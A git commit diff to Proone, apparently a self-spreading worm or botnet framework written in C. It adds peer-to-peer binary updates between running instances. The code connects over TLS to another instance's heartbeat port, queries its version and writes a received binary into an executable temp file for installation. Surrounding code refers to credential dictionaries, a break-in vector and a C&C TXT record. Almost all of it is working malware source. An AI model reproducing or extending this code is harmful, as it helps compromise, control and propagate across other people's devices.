diff options
author | David Timber <mieabby@gmail.com> | 2021-07-25 18:40:16 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-25 18:40:16 +1000 |
commit | a72b876cf8f7c01ab2d3808a168ef16620498298 (patch) | |
tree | 43b259cf3a20636f52aebd2d777f89cf95d66673 /src | |
parent | d875ed3b36f2a3fb5d6ceb3c37f6749603e4d0d3 (diff) |
Impl htbt M2M binary update and bug fixes ...
* Change signature of tmpfile() cb
* Add PRNE_DATA_KEY_VER_MAT
* Add prne_try_alloc_iobuf()
* Fix htbt: don't run cncp when both resolv and cnc_txtrec are not passed
* Impl upbin cb on proone-bne
* Fix proone-htbtclient: content of status frame was discarded
* htbt is now responsible for setting FD_CLOEXEC on temp files
* Changes in mttools for valgrind run
* Add proone-test_iobuf
* Fix event leak in resolv
* src/test-resolv.sh: run proone-resolv on valgrind
* Add prne_cmp_uuid_asc() and prne_cmp_uuid_desc() for version matrix
*
Diffstat (limited to 'src')
-rw-r--r-- | src/Makefile.am | 6 | ||||
-rw-r--r-- | src/bne.c | 562 | ||||
-rw-r--r-- | src/bne.h | 15 | ||||
-rw-r--r-- | src/config.h | 11 | ||||
-rw-r--r-- | src/data.h | 1 | ||||
-rw-r--r-- | src/htbt.c | 61 | ||||
-rw-r--r-- | src/htbt.h | 13 | ||||
-rw-r--r-- | src/iobuf.c | 9 | ||||
-rw-r--r-- | src/iobuf.h | 1 | ||||
-rw-r--r-- | src/proone-bne.c | 106 | ||||
-rw-r--r-- | src/proone-htbtclient.c | 10 | ||||
-rw-r--r-- | src/proone-htbthost.c | 39 | ||||
-rw-r--r-- | src/proone-mkdvault.c | 14 | ||||
-rw-r--r-- | src/proone-resolv.c | 2 | ||||
-rw-r--r-- | src/proone-test_iobuf.c | 23 | ||||
-rw-r--r-- | src/proone.c | 76 | ||||
-rw-r--r-- | src/resolv.c | 3 | ||||
-rwxr-xr-x | src/test-resolv.sh | 10 | ||||
-rw-r--r-- | src/util_rt.c | 7 | ||||
-rw-r--r-- | src/util_rt.h | 3 |
20 files changed, 861 insertions, 111 deletions
diff --git a/src/Makefile.am b/src/Makefile.am index 8666f2b..065dd35 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -51,7 +51,8 @@ endif proone_tests =\ proone-test_proto\ - proone-test_util + proone-test_util\ + proone-test_iobuf bin_PROGRAMS += $(proone_tests) libproone_a_SOURCES =\ @@ -140,5 +141,8 @@ proone_test_proto_SOURCES = proone-test_proto.c proone_test_util_LDADD = libproone.a proone_test_util_SOURCES = proone-test_util.c +proone_test_iobuf_LDADD = libproone.a +proone_test_iobuf_SOURCES = proone-test_iobuf.c + testlist: $(proone_tests) echo $(proone_tests) > testlist @@ -8,12 +8,15 @@ #include "iobuf.h" #include "endian.h" #include "mbedtls.h" +#include "config.h" #include <string.h> #include <ctype.h> #include <errno.h> #include <elf.h> +#include <unistd.h> +#include <fcntl.h> #include <mbedtls/base64.h> @@ -23,6 +26,7 @@ static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 30s static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms static const struct timespec BNE_PROMPT_PAUSE = { 4, 0 }; // 4s +static const uint64_t BNE_M2M_UPBIN_INT = 43200; // 12 hours #define BNE_CONN_ATTEMPT 3 @@ -261,6 +265,8 @@ static bool bne_pop_cred ( ctx->result.err = errno; return false; } + /* == CRITICAL SECTION START == */ + // DO NOT yield to other pth threads after this point! prne_init_iset(&w_set); prne_init_llist(&cl); @@ -1780,61 +1786,551 @@ END: // CATCH /******************************************************************************* HTBT Vector Impl *******************************************************************************/ -static bool bne_do_vec_htbt (prne_bne_t *ctx) { - bool ret = false; +typedef struct { prne_net_endpoint_t ep; - pth_event_t ev = NULL; - int fd = -1; + int fd; mbedtls_ssl_context ssl; + prne_iobuf_t netib; + prne_iobuf_t stdioib; +} bne_vhtbt_ctx_t; - mbedtls_ssl_init(&ssl); - ep.addr = ctx->param.subject; - ep.port = (uint16_t)PRNE_HTBT_PROTO_PORT; - -// TRY +static bool bne_vhtbt_do_handshake ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + pth_event_t *ev) +{ if (ctx->param.htbt_ssl_conf == NULL) { - goto END; + return false; } - if (mbedtls_ssl_setup(&ssl, ctx->param.htbt_ssl_conf) != 0) { - goto END; + mbedtls_ssl_free(&vctx->ssl); + mbedtls_ssl_init(&vctx->ssl); + prne_close(vctx->fd); + vctx->fd = -1; + if (mbedtls_ssl_setup(&vctx->ssl, ctx->param.htbt_ssl_conf) != 0) { + return false; } mbedtls_ssl_set_bio( - &ssl, - &fd, + &vctx->ssl, + &vctx->fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL); - prne_pth_reset_timer(&ev, &BNE_CONN_OP_TIMEOUT); - if (!bne_do_connect(&fd, &ep, ev) || fd < 0) { + prne_pth_reset_timer(ev, &BNE_CONN_OP_TIMEOUT); + if (!bne_do_connect(&vctx->fd, &vctx->ep, *ev) || vctx->fd < 0) { + return false; + } + if (!prne_mbedtls_pth_handle( + &vctx->ssl, + mbedtls_ssl_handshake, + vctx->fd, + *ev)) + { + return false; + } + return prne_mbedtls_verify_alp( + ctx->param.htbt_ssl_conf, + &vctx->ssl, + PRNE_HTBT_TLS_ALP); +} + +static ssize_t bne_vhtbt_read ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + void *buf, + const size_t len, + pth_event_t ev) +{ + int f_ret; + struct pollfd pfd; + + while (true) { + f_ret = mbedtls_ssl_read(&vctx->ssl, (unsigned char*)buf, len); + if (f_ret >= 0) { + return f_ret; + } + + switch (f_ret) { + case MBEDTLS_ERR_SSL_WANT_READ: + pfd.events = POLLIN; + break; + case MBEDTLS_ERR_SSL_WANT_WRITE: + pfd.events = POLLOUT; + break; + default: return f_ret; + } + pfd.fd = vctx->fd; + + prne_pth_poll(&pfd, 1, -1, ev); + if (ev != NULL && pth_event_status(ev) != PTH_STATUS_PENDING) { + errno = ETIMEDOUT; + return -1; + } + } +} + +static ssize_t bne_vhtbt_write ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + const void *buf, + const size_t len, + pth_event_t ev) +{ + int f_ret; + struct pollfd pfd; + + while (true) { + f_ret = mbedtls_ssl_write(&vctx->ssl, (const unsigned char*)buf, len); + if (f_ret >= 0) { + return f_ret; + } + + switch (f_ret) { + case MBEDTLS_ERR_SSL_WANT_READ: + pfd.events = POLLIN; + break; + case MBEDTLS_ERR_SSL_WANT_WRITE: + pfd.events = POLLOUT; + break; + default: return f_ret; + } + pfd.fd = vctx->fd; + + prne_pth_poll(&pfd, 1, -1, ev); + if (ev != NULL && pth_event_status(ev) != PTH_STATUS_PENDING) { + errno = ETIMEDOUT; + return -1; + } + } +} + +static bool bne_vhtbt_recvf ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + void *f, + prne_htbt_dser_ft dser_f, + pth_event_t ev) +{ + size_t actual; + prne_htbt_ser_rc_t rc; + ssize_t f_ret; + + + while (true) { + rc = dser_f(vctx->netib.m, vctx->netib.len, &actual, f); + + switch (rc) { + case PRNE_HTBT_SER_RC_OK: + prne_iobuf_shift(&vctx->netib, -actual); + return true; + case PRNE_HTBT_SER_RC_MORE_BUF: + if (actual > vctx->netib.size) { + return false; + } + break; + case PRNE_HTBT_SER_RC_ERRNO: + return false; + default: + return false; + } + + f_ret = bne_vhtbt_read( + ctx, + vctx, + vctx->netib.m + vctx->netib.len, + actual - vctx->netib.len, + ev); + if (f_ret == 0) { + return false; + } + if (f_ret < 0) { + return false; + } + prne_iobuf_shift(&vctx->netib, f_ret); + } +} + +static bool bne_vhtbt_sendf ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + const void *f, + prne_htbt_ser_ft ser_f, + pth_event_t ev) +{ + ssize_t f_ret; + size_t actual; + prne_htbt_ser_rc_t rc; + + prne_iobuf_reset(&vctx->netib); + rc = ser_f( + vctx->netib.m, + vctx->netib.avail, + &actual, + f); + switch (rc) { + case PRNE_HTBT_SER_RC_OK: break; + case PRNE_HTBT_SER_RC_ERRNO: + return false; + default: + return false; + } + prne_iobuf_shift(&vctx->netib, actual); + + while (vctx->netib.len > 0) { + f_ret = bne_vhtbt_write( + ctx, + vctx, + vctx->netib.m, + vctx->netib.len, + ev); + if (f_ret == 0) { + return false; + } + if (f_ret < 0) { + return false; + } + prne_iobuf_shift(&vctx->netib, -f_ret); + } + + return true; +} + +static bool bne_vhtbt_recv_mh ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + prne_htbt_msg_head_t *mh, + pth_event_t ev) +{ + return bne_vhtbt_recvf( + ctx, + vctx, + mh, + (prne_htbt_dser_ft)prne_htbt_dser_msg_head, + ev); +} + +static bool bne_vhtbt_send_mh ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + const prne_htbt_msg_head_t *mh, + pth_event_t ev) +{ + return bne_vhtbt_sendf( + ctx, + vctx, + mh, + (prne_htbt_ser_ft)prne_htbt_ser_msg_head, + ev); +} + +static bool bne_vhtbt_recv_status ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + prne_htbt_status_t *st, + pth_event_t ev) +{ + return bne_vhtbt_recvf( + ctx, + vctx, + st, + (prne_htbt_dser_ft)prne_htbt_dser_status, + ev); +} + +static uint16_t bne_vhtbt_msgid_f (void *ctx) { + uint16_t ret = 0; + + prne_rnd((prne_rnd_t*)ctx, (uint8_t*)&ret, sizeof(ret)); + return ret; +} + +static bool bne_vhtbt_do_ayt ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + pth_event_t *ev) +{ + bool ret = false; + prne_htbt_msg_head_t mh; + + prne_htbt_init_msg_head(&mh); + prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); + if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev)) { goto END; } + if (!bne_vhtbt_recv_mh(ctx, vctx, &mh, *ev)) { + goto END; + } + ret = mh.id == PRNE_HTBT_OP_NOOP && mh.is_rsp; +END: + prne_htbt_free_msg_head(&mh); + return ret; +} + +static bool bne_vhtbt_query_hostinfo ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + prne_htbt_host_info_t *hi, + pth_event_t *ev) +{ + bool ret = false; + prne_htbt_msg_head_t mh; + prne_htbt_status_t st; - if (!prne_mbedtls_pth_handle(&ssl, mbedtls_ssl_handshake, fd, ev)) { + prne_htbt_init_msg_head(&mh); + prne_htbt_init_status(&st); + mh.id = prne_htbt_gen_msgid(&ctx->rnd, bne_vhtbt_msgid_f); + mh.op = PRNE_HTBT_OP_HOST_INFO; + + prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); + if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev)) { goto END; } - ret = prne_mbedtls_verify_alp( - ctx->param.htbt_ssl_conf, - &ssl, - PRNE_HTBT_TLS_ALP); - if (ret) { -/* TODO: here goes ... -* -* - Take an array of previous versions as param -* - Check the program version of the remote instance and update local or remote -* instance if necessary using PRNE_HTBT_OP_UP_BIN or PRNE_HTBT_OP_RCB -*/ - prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - if (prne_mbedtls_pth_handle(&ssl, mbedtls_ssl_close_notify, fd, ev)) { - prne_shutdown(fd, SHUT_RDWR); + prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); + if (!bne_vhtbt_recv_mh(ctx, vctx, &mh, *ev)) { + goto END; + } + switch (mh.op) { + case PRNE_HTBT_OP_STATUS: + bne_vhtbt_recv_status(ctx, vctx, &st, *ev); + break; + case PRNE_HTBT_OP_HOST_INFO: + ret = bne_vhtbt_recvf( + ctx, + vctx, + hi, + (prne_htbt_dser_ft)prne_htbt_dser_host_info, + *ev); + break; + } + +END: + prne_htbt_free_msg_head(&mh); + prne_htbt_free_status(&st); + return ret; +} + +static bool bne_vhtbt_do_upbin_us ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + pth_event_t *ev) +{ + bool ret = false; + char *tmpfile_path = NULL; + int fd = -1; + prne_htbt_msg_head_t mh; + prne_htbt_status_t st; + prne_htbt_rcb_t rcb_f; + prne_htbt_stdio_t stdio_f; + prne_htbt_cmd_t cmd; + ssize_t f_ret; + + prne_htbt_init_msg_head(&mh); + prne_htbt_init_status(&st); + prne_htbt_init_rcb(&rcb_f); + prne_htbt_init_stdio(&stdio_f); + prne_htbt_init_cmd(&cmd); +// TRY + fd = ctx->param.cb.tmpfile( + ctx->param.cb_ctx, + O_CREAT | O_TRUNC | O_WRONLY, + 0700, + 0, + &tmpfile_path); + if (fd < 0) { + goto END; + } + fcntl(fd, F_SETFD, FD_CLOEXEC); + + mh.id = prne_htbt_gen_msgid(&ctx->rnd, bne_vhtbt_msgid_f); + mh.op = PRNE_HTBT_OP_RCB; + rcb_f.arch = prne_host_arch; + rcb_f.compat = true; + prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); + if (!bne_vhtbt_do_ayt(ctx, vctx, ev)) { + goto END; + } + + prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); + if (!bne_vhtbt_send_mh(ctx, vctx, &mh, *ev)) { + goto END; + } + if (!bne_vhtbt_sendf( + ctx, + vctx, + &rcb_f, + (prne_htbt_ser_ft)prne_htbt_ser_rcb, + *ev)) + { + goto END; + } + + do { + prne_pth_reset_timer(ev, &BNE_SCK_OP_TIMEOUT); + if (!bne_vhtbt_recv_mh(ctx, vctx, &mh, *ev)) { + goto END; + } + switch (mh.op) { + case PRNE_HTBT_OP_STDIO: break; + case PRNE_HTBT_OP_STATUS: + bne_vhtbt_recv_status(ctx, vctx, &st, *ev); + goto END; + default: + goto END; + } + if (!bne_vhtbt_recvf( + ctx, + vctx, + &stdio_f, + (prne_htbt_dser_ft)prne_htbt_dser_stdio, + *ev)) + { + goto END; + } + + while (stdio_f.len > 0) { + f_ret = bne_vhtbt_read( + ctx, + vctx, + vctx->stdioib.m, + stdio_f.len, + *ev); + if (f_ret < 0) { + goto END; + } + if (f_ret == 0) { + goto END; + } + prne_iobuf_shift(&vctx->stdioib, f_ret); + stdio_f.len -= f_ret; + + while (vctx->stdioib.len > 0) { + f_ret = write(fd, vctx->stdioib.m, vctx->stdioib.len); + if (f_ret < 0) { + goto END; + } + if (f_ret == 0) { + goto END; + } + prne_iobuf_shift(&vctx->stdioib, -f_ret); + } } + } while (!stdio_f.fin); + ctx->param.cb.upbin(ctx->param.cb_ctx, tmpfile_path, &cmd); + ret = true; + +END: + if (!ret && tmpfile_path != NULL) { + unlink(tmpfile_path); + } + prne_htbt_free_msg_head(&mh); + prne_htbt_free_status(&st); + prne_htbt_free_rcb(&rcb_f); + prne_htbt_free_stdio(&stdio_f); + prne_htbt_free_cmd(&cmd); + prne_free(tmpfile_path); + prne_close(fd); + return ret; +} + +static bool bne_vhtbt_do_upbin_them ( + prne_bne_t *ctx, + bne_vhtbt_ctx_t *vctx, + pth_event_t *ev) +{ + // TODO + errno = ENOSYS; + return false; +} + +static bool bne_do_vec_htbt (prne_bne_t *ctx) { + bool ret = false; + bne_vhtbt_ctx_t vctx; + pth_event_t ev = NULL; + prne_htbt_host_info_t hi; + + vctx.ep.addr = ctx->param.subject; + vctx.ep.port = (uint16_t)PRNE_HTBT_PROTO_PORT; + vctx.fd = -1; + mbedtls_ssl_init(&vctx.ssl); + prne_htbt_init_host_info(&hi); + prne_init_iobuf(&vctx.netib); + prne_init_iobuf(&vctx.stdioib); + +// TRY + if (!prne_alloc_iobuf(&vctx.netib, PRNE_HTBT_PROTO_MIN_BUF)) { + goto END; + } + for (unsigned int i = 0; i < BNE_CONN_ATTEMPT; i += 1) { + ret = bne_vhtbt_do_handshake(ctx, &vctx, &ev); + if (ret) { + break; + } + } + if (!ret) { + goto END; + } + + // M2M binary update + do { // fake + int f_ret; + + if (ctx->param.cb.vercmp == NULL) { + break; + } + if (!bne_vhtbt_query_hostinfo(ctx, &vctx, &hi, &ev)) { + goto END; + } + + f_ret = ctx->param.cb.vercmp(ctx->param.cb_ctx, hi.prog_ver); + if (f_ret != 0) { + if (!prne_alloc_iobuf(&vctx.stdioib, PRNE_HTBT_STDIO_LEN_MAX)) { + goto END; + } + } + + if (f_ret < 0) { + if (ctx->param.cb.uptime == NULL || + ctx->param.cb.tmpfile == NULL || + ctx->param.cb.upbin == NULL) + { + break; + } + if (ctx->param.cb.uptime(ctx->param.cb_ctx) < BNE_M2M_UPBIN_INT) { + break; + } + if (!bne_vhtbt_do_upbin_us(ctx, &vctx, &ev)) { + goto END; + } + } + else if (f_ret > 0) { + if (hi.parent_uptime < BNE_M2M_UPBIN_INT) { + break; + } + if (!bne_vhtbt_do_upbin_them(ctx, &vctx, &ev)) { + goto END; + } + } + } while (false); + + // Terminate connection gracefully + prne_pth_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + if (prne_mbedtls_pth_handle( + &vctx.ssl, + mbedtls_ssl_close_notify, + vctx.fd, + ev)) + { + prne_shutdown(vctx.fd, SHUT_RDWR); } END: // CATCH - mbedtls_ssl_free(&ssl); - prne_close(fd); + prne_free_iobuf(&vctx.netib); + prne_free_iobuf(&vctx.stdioib); + mbedtls_ssl_free(&vctx.ssl); + prne_close(vctx.fd); pth_event_free(ev, FALSE); + prne_htbt_free_host_info(&hi); return ret; } @@ -38,6 +38,21 @@ struct prne_bne_param { char *(*exec_name)(void *ctx); bool (*enter_dd)(void *ctx); void (*exit_dd)(void *ctx); + uint64_t (*uptime)(void *ctx); + /** + * \brief called by bne instance to compare versions of Proone to + * determine if binary update has to be performed. + * \return negative value if \p uuid is newer, 0 if \p uuid is identical + to the current version or positive value if \p uuid is older + */ + int (*vercmp)(void *ctx, const uint8_t *uuid); + int (*tmpfile)( + void *ctx, + const int flags, + const mode_t mode, + size_t req_size, + char **path); + bool (*upbin)(void *ctx, const char *path, const prne_htbt_cmd_t *cmd); } cb; void *cb_ctx; const prne_rcb_param_t *rcb; diff --git a/src/config.h b/src/config.h index bae7410..ace35b3 100644 --- a/src/config.h +++ b/src/config.h @@ -25,6 +25,17 @@ 0xaf, 0x48, 0xfd, 0x9f, 0xb8, 0x45, 0x3f, 0x8f\ } +#define PRNE_VER_MAT {\ + /* 76f2f748-3b6f-420c-abd7-e9929a0b67d6: placeholder version 1 */\ + /* Remove it when you add the first old version */\ + 0x76, 0xf2, 0xf7, 0x48, 0x3b, 0x6f, 0x42, 0x0c,\ + 0xab, 0xd7, 0xe9, 0x92, 0x9a, 0x0b, 0x67, 0xd6,\ + /* ce6fe199-5595-49a1-96c6-261d1cce9e32: placeholder version 2 */\ + /* Remove it when you add the first old version */\ + 0xce, 0x6f, 0xe1, 0x99, 0x55, 0x95, 0x49, 0xa1,\ + 0x96, 0xc6, 0x26, 0x1d, 0x1c, 0xce, 0x9e, 0x32\ +} + #define PRNE_PACK_Z_LEVEL Z_DEFAULT_COMPRESSION extern const prne_arch_t prne_host_arch; @@ -23,6 +23,7 @@ typedef enum { PRNE_DATA_KEY_RCN_BL_IPV6, PRNE_DATA_KEY_CRED_DICT, PRNE_DATA_KEY_EXEC_NAME, + PRNE_DATA_KEY_VER_MAT, NB_PRNE_DATA_KEY } prne_data_key_t; @@ -784,28 +784,19 @@ static void htbt_free_slv_ctx (htbt_slv_ctx_t *ctx) { } static bool htbt_alloc_slv_iobuf (htbt_slv_ctx_t *ctx) { - bool alloc; - alloc = prne_alloc_iobuf( - ctx->iobuf + 0, - 2048); - alloc &= prne_alloc_iobuf( - ctx->iobuf + 1, - 2048); - if (alloc) { - return true; - } - - alloc = prne_alloc_iobuf( - ctx->iobuf + 0, - PRNE_HTBT_PROTO_MIN_BUF); - alloc &= prne_alloc_iobuf( - ctx->iobuf + 1, - PRNE_HTBT_PROTO_SUB_MIN_BUF); - if (alloc) { - return true; - } - - return false; +#define OPT_SIZE 2048 + static const size_t ALLOC_MAT[2][3] = { + { OPT_SIZE, PRNE_HTBT_PROTO_MIN_BUF, 0 }, + { OPT_SIZE, PRNE_HTBT_PROTO_SUB_MIN_BUF, 0 } + }; + prne_static_assert( + OPT_SIZE >= PRNE_HTBT_PROTO_MIN_BUF && + OPT_SIZE >= PRNE_HTBT_PROTO_SUB_MIN_BUF, + "Please reset OPT_SIZE."); + return + prne_try_alloc_iobuf(ctx->iobuf + 0, ALLOC_MAT[0]) && + prne_try_alloc_iobuf(ctx->iobuf + 1, ALLOC_MAT[1]); +#undef OPT_SIZE } static void htbt_slv_consume_outbuf ( @@ -1208,14 +1199,12 @@ static bool htbt_slv_srv_bin ( } errno = 0; - path = ctx->cbset->tmpfile(ctx->cb_ctx, bin_meta.bin_size, 0700); - if (path == NULL) { - ret_status = PRNE_HTBT_STATUS_ERRNO; - ret_errno = errno; - goto SND_STATUS; - } - - fd = open(path, O_WRONLY); + fd = ctx->cbset->tmpfile( + ctx->cb_ctx, + O_CREAT | O_TRUNC | O_WRONLY, + 0700, + bin_meta.bin_size, + &path); if (fd < 0) { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_errno = errno; @@ -1440,6 +1429,11 @@ static bool htbt_slv_srv_rcb ( size_t off, const prne_htbt_msg_head_t *org_mh) { + static const size_t RCB_IB_SIZE[] = { + PRNE_HTBT_STDIO_LEN_MAX, + 512, + 0 + }; bool ret = true; prne_htbt_rcb_t rcb_f; prne_htbt_ser_rc_t s_ret; @@ -1485,9 +1479,7 @@ static bool htbt_slv_srv_rcb ( err = ENOMEDIUM; goto STATUS_END; } - if (!(prne_alloc_iobuf(&rcb_ib, PRNE_HTBT_STDIO_LEN_MAX) || - prne_alloc_iobuf(&rcb_ib, 512))) - { + if (!prne_try_alloc_iobuf(&rcb_ib, RCB_IB_SIZE)) { status = PRNE_HTBT_STATUS_ERRNO; err = errno; goto STATUS_END; @@ -3115,7 +3107,6 @@ prne_htbt_t *prne_alloc_htbt ( prne_htbt_t *ret = NULL; if (w == NULL || - param->cb_f.cnc_txtrec == NULL || param->lbd_ssl_conf == NULL || param->main_ssl_conf == NULL || param->ctr_drbg == NULL || @@ -3147,7 +3138,7 @@ prne_htbt_t *prne_alloc_htbt ( prne_init_llist(&ret->lbd.conn_list); ret->lbd.fd = -1; - if (param->resolv != NULL) { + if (param->resolv != NULL && param->cb_f.cnc_txtrec != NULL) { ret->cncp.pth = pth_spawn( PTH_ATTR_DEFAULT, htbt_cncp_entry, @@ -13,20 +13,23 @@ typedef struct prne_htbt_param prne_htbt_param_t; typedef struct prne_htbt_cbset prne_htbt_cbset_t; typedef bool(*prne_htbt_cnc_txtrec_ft)(void *ctx, char *out); typedef bool(*prne_htbt_hostinfo_ft)(void *ctx, prne_htbt_host_info_t *out); -typedef char*(*prne_htbt_tmpfile_ft)( +typedef int(*prne_htbt_tmpfile_ft)( void *ctx, + const int flags, + const mode_t mode, size_t req_size, - const mode_t mode); + char **path); typedef bool(*prne_htbt_bin_ft)( void *ctx, const char *path, const prne_htbt_cmd_t *cmd); struct prne_htbt_cbset { + // All callback functions are optional. prne_htbt_cnc_txtrec_ft cnc_txtrec; - prne_htbt_hostinfo_ft hostinfo; // optional - prne_htbt_tmpfile_ft tmpfile; // optional - prne_htbt_bin_ft upbin; // optional + prne_htbt_hostinfo_ft hostinfo; + prne_htbt_tmpfile_ft tmpfile; + prne_htbt_bin_ft upbin; }; struct prne_htbt_param { diff --git a/src/iobuf.c b/src/iobuf.c index a78e965..6e37a26 100644 --- a/src/iobuf.c +++ b/src/iobuf.c @@ -44,6 +44,15 @@ bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size) { return true; } +bool prne_try_alloc_iobuf (prne_iobuf_t *ib, const size_t *ny_size) { + for (; *ny_size != 0; ny_size += 1) { + if (prne_alloc_iobuf(ib, *ny_size)) { + return true; + } + } + return false; +} + void prne_iobuf_setextbuf ( prne_iobuf_t *ib, uint8_t *m, diff --git a/src/iobuf.h b/src/iobuf.h index ee030af..7658255 100644 --- a/src/iobuf.h +++ b/src/iobuf.h @@ -20,6 +20,7 @@ struct prne_iobuf { void prne_init_iobuf (prne_iobuf_t *ib); void prne_free_iobuf (prne_iobuf_t *ib); bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size); +bool prne_try_alloc_iobuf (prne_iobuf_t *ib, const size_t *ny_size); void prne_iobuf_setextbuf ( prne_iobuf_t *ib, uint8_t *m, diff --git a/src/proone-bne.c b/src/proone-bne.c index 0a3f75d..2c85adc 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -18,6 +18,10 @@ #include "proone_conf/x509.h" +static char m_upbin_path[256]; +static char m_upbin_args[1024]; +static size_t m_upbin_args_size; + static void print_help (FILE *o, const char *prog) { fprintf( o, @@ -158,6 +162,100 @@ static char *cb_exec_name (void *ctx) { return ret; } +static uint64_t cb_uptime (void *ctx) { + return UINT64_MAX; +} + +static int cb_vercmp (void *ctx, const uint8_t *uuid) { + return -1; +} + +static int cb_tmpfile ( + void *ctx, + const int flags, + const mode_t mode, + size_t req_size, + char **opath) +{ + static int ctr = 0; + char *path = NULL; + int fd = -1, len; + bool ret = false; + + len = snprintf(NULL, 0, "bne-tmp.%d", ctr); + if (len < 0) { + goto END; + } + path = prne_alloc_str(len); + if (path == NULL) { + goto END; + } + prne_memzero(path, len + 1); + if (len != snprintf(path, len + 1, "bne-tmp.%d", ctr)) { + goto END; + } + ctr += 1; + + fd = open(path, flags, mode); + if (fd < 0) { + goto END; + } + if (ftruncate(fd, (off_t)req_size) != 0) { + goto END; + } + ret = true; + +END: + if (ret) { + if (opath != NULL) { + *opath = path; + path = NULL; + } + } + else { + if (fd >= 0) { + unlink(path); + } + prne_close(fd); + fd = -1; + } + prne_free(path); + return fd; +} + +static bool cb_upbin (void *ctx, const char *path, const prne_htbt_cmd_t *cmd) { + const size_t path_len = prne_nstrlen(path); + + prne_dbgast(path_len > 0); + if (path_len + 1 > sizeof(m_upbin_path) || + cmd->mem_len > sizeof(m_upbin_args)) + { + errno = ENOMEM; + return false; + } + + memcpy(m_upbin_path, path, path_len + 1); + memcpy(m_upbin_args, cmd->mem, cmd->mem_len); + m_upbin_args_size = cmd->mem_len; + + return true; +} + +static void do_run_upbin (void) { + for (size_t i = 0; i < m_upbin_args_size; i += 1) { + if (m_upbin_args[i] == 0) { + m_upbin_args[i] = ' '; + } + } + m_upbin_args[m_upbin_args_size - 1] = 0; + + printf( + "upbin received:\n%s %s\n", + m_upbin_path, + m_upbin_args); +} + + int main (const int argc, const char **args) { static prne_bne_vector_t ARR_VEC[] = { PRNE_BNE_V_HTBT, @@ -307,6 +405,10 @@ int main (const int argc, const char **args) { param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t); param.rcb = &rcb; param.cb.exec_name = cb_exec_name; + param.cb.uptime = cb_uptime; + param.cb.vercmp = cb_vercmp; + param.cb.tmpfile = cb_tmpfile; + param.cb.upbin = cb_upbin; for (size_t i = 0; i < cnt; i += 1) { prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1); @@ -394,5 +496,9 @@ END: // CATCH pth_kill(); + if (prne_nstrlen(m_upbin_path) > 0) { + do_run_upbin(); + } + return ret; } diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c index cc3c05d..dae4734 100644 --- a/src/proone-htbtclient.c +++ b/src/proone-htbtclient.c @@ -2059,17 +2059,14 @@ static bool run_relay (const uint16_t msgid) { static bool run_recv_status (const uint16_t msgid) { prne_htbt_msg_head_t mh; - prne_htbt_status_t st; prne_htbt_init_msg_head(&mh); - prne_htbt_init_status(&st); prog_g.cmd_st.run.has_status = recv_mh(&mh, &msgid) && - recv_status(&st); + recv_status(&prog_g.cmd_st.run.st); prne_htbt_free_msg_head(&mh); - prne_htbt_free_status(&st); return prog_g.cmd_st.run.has_status; } @@ -2370,7 +2367,10 @@ static int cmdmain_upbin (void) { return 1; } } - if (!(run_setup(msgid) && run_recv_status(msgid))) { + if (!run_setup(msgid)) { + return 1; + } + if (!prog_g.cmd_st.run.has_status && !run_recv_status(msgid)) { return 1; } diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index fdf7c1e..4aee540 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -292,10 +292,17 @@ static bool parse_param (const char *arg) { return true; } -static char *mktmpfile (void *ctx, size_t req_size, const mode_t mode) { +static int mktmpfile ( + void *ctx, + const int flags, + const mode_t mode, + size_t req_size, + char **opath) +{ static int ctr = 0; - char *path = NULL, *ret = NULL; + char *path = NULL; int fd = -1, len; + bool ret = false; len = snprintf(NULL, 0, "htbthost-tmp.%d", ctr); if (len < 0) { @@ -309,27 +316,33 @@ static char *mktmpfile (void *ctx, size_t req_size, const mode_t mode) { if (len != snprintf(path, len + 1, "htbthost-tmp.%d", ctr)) { goto END; } + ctr += 1; - fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode); + fd = open(path, flags, mode); if (fd < 0) { goto END; } - fcntl(fd, F_SETFD, FD_CLOEXEC); - if (ftruncate(fd, (off_t)req_size) != 0) { goto END; } + ret = true; - ret = path; - path = NULL; - ctr += 1; END: - if (path != NULL && fd >= 0) { - unlink(path); + if (ret) { + if (opath != NULL) { + *opath = path; + path = NULL; + } + } + else { + if (fd >= 0) { + unlink(path); + } + prne_close(fd); + fd = -1; } prne_free(path); - prne_close(fd); - return ret; + return fd; } static void do_run_upbin (void) { @@ -540,11 +553,11 @@ int main (const int argc, const char **args) { free_htbthost_param(&htbthost_param); regfree(&re_ns4); regfree(&re_ns6); + regfree(&re_hc); 